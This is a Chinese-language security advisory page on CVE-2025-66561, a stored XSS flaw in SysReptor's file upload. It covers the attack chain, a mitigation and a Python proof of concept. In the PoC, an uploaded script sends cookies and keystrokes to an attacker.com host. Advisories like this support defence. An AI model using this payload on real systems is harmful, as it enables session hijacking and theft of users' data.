IPBUF安全漏洞报告
English
CVE-2025-66561 CVSS 7.3 高危

CVE-2025-66561 SysReptor存储型XSS漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-66561
漏洞类型
存储型XSS
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SysReptor

相关标签

存储型XSSSysReptorCVE-2025-66561文件上传漏洞跨站脚本渗透测试平台Web安全

漏洞概述

SysReptor是一款完全可定制的渗透测试报告平台。在2025.102版本之前,存在一个存储型跨站脚本(XSS)漏洞,该漏洞允许经过身份验证的低权限用户通过Web界面上传恶意JavaScript文件,在其他登录用户的上下文中执行恶意JavaScript代码。攻击者利用此漏洞可以窃取会话Cookie、劫持用户账户、执行任意操作或进行进一步的攻击。由于漏洞位于文件上传功能处,恶意脚本会被永久存储在服务器上,所有访问受影响页面的用户都会受到攻击。

技术细节

该漏洞存在于SysReptor的文件上传功能中。攻击者首先需要拥有一个有效的低权限用户账户,登录后可在Web界面上传文件。上传功能未对文件内容进行充分的安全过滤和验证,允许上传包含恶意JavaScript代码的文件。当其他用户访问或触发这些文件时,恶意脚本会在其浏览器上下文中执行。由于这是存储型XSS,恶意代码会持久存在于服务器上,每次页面加载时都会触发。攻击者可利用此获取受害者的认证令牌、敏感数据或以受害者身份执行操作。修复版本2025.102已添加输入验证和输出编码以防止此类攻击。

攻击链分析

STEP 1
步骤1
攻击者获取SysReptor平台的有效低权限账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript的XSS payload
STEP 3
步骤3
通过Web界面的文件上传功能上传恶意文件到服务器
STEP 4
步骤4
恶意脚本被存储在服务器上,等待其他用户访问
STEP 5
步骤5
受害用户访问或触发上传的文件时,恶意JavaScript在其浏览器上下文中执行
STEP 6
步骤6
攻击者通过XSS窃取受害者的会话Cookie、劫持账户或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66561 Stored XSS PoC for SysReptor # This PoC demonstrates the stored XSS vulnerability in SysReptor < 2025.102 import requests import json TARGET = "http://target-sysreptor.com" LOGIN_URL = f"{TARGET}/api/auth/login/" UPLOAD_URL = f"{TARGET}/api/uploads/" # Malicious JavaScript payload for XSS XSS_PAYLOAD = """ <script> // Steal session cookies document.cookie; // Exfiltrate data fetch('https://attacker.com/steal?data=' + btoa(document.cookie)); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key); }); </script> """ def exploit(): # Step 1: Login with low privilege account session = requests.Session() login_data = { "username": "[email protected]", "password": "password123" } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Upload malicious file with XSS payload files = { "file": ("malicious.js", XSS_PAYLOAD, "application/javascript") } upload_response = session.post(UPLOAD_URL, files=files) if upload_response.status_code in [200, 201]: print("[+] Malicious file uploaded successfully") print(f"[+] Payload stored at: {upload_response.json().get('url')}") print("[*] Any user viewing this file will execute the XSS payload") else: print(f"[-] Upload failed: {upload_response.status_code}") if __name__ == "__main__": exploit()

影响范围

SysReptor < 2025.102

防御指南

临时缓解措施
立即将SysReptor升级到2025.102版本。在无法立即升级的情况下,可临时禁用文件上传功能或限制上传文件类型为非脚本格式,并加强对上传文件的静态分析检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表